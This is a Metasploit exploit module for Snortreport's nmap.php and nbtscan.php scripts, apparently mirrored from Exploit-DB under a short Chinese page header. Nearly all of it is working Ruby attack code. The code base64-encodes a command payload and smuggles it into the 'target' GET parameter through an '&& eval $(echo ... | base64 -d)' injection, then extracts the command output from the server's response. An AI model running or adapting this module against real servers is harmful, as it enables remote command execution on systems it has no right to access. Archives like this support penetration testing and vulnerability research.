Snortreport – ‘/nmap.php’ / ‘nbtscan.php’ Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2011-10-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17947/
  • ##
    # $Id: snortreport_exec.rb 13843 2011-10-09 06:12:54Z sinn3r $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::Tcp
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => 'Snortreport nmap.php and nbtscan.php Remote Command Execution',
    			'Description'=> %q{
    				This module exploits an arbitrary command execution vulnerability in
    				nmap.php and nbtscan.php scripts.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Paul Rascagneres'#itrust consulting during hack.lu 2011
    				],
    			'Version'=> '$Revision: 13843 $',
    			'Payload'=>
    			{
    				'Compat' =>
    				{
    					'PayloadType'=> 'cmd',
    					'RequiredCmd'=> 'generic perl ruby bash telnet',
    				}
    			},
    			'Platform' => ['unix', 'linux'],
    			'Arch' => ARCH_CMD,
    			'Targets'=> [['Automatic',{}]],
    			'DisclosureDate' => 'Sep 19 2011',
    			'DefaultTarget'=> 0
    		))
    
    		register_options(
    			[
    				OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),
    			],self.class)
    	end
    
    	def exploit
    		base64_payload = ""
    		base64_payload_temp=Base64.encode64(payload.encoded).chomp
    		base64_payload_temp.each_line do |line|
    			base64_payload << line.chomp
    		end
    
    		start = "127.0.0.1 && echo XXXXX && eval $(echo "
    		last= " | base64 -d) && echo ZZZZZ"
    		custom_payload = start << base64_payload << last
    
    		res = send_request_cgi({
    			'uri' => datastore['URI'],
    			'vars_get'=>
    			{
    				'target' => custom_payload
    			}
    		},10)
    
    		if (res)
    			to_print=false
    			already_print=false
    			part=res.body.gsub("<BR>","")
    			part.each_line do |line|
    				if line =~ /ZZZZZ/
    					to_print=false
    				end
    				if to_print == true
    					print(line)
    				end
    				if line =~ /XXXXX/
    					already_print=true
    					to_print=true
    				end
    			end
    
    			if already_print == false
    				print_error("This server may not be vulnerable")
    			end
    		else
    			print_error("No response from the server")
    		end
    	end
    end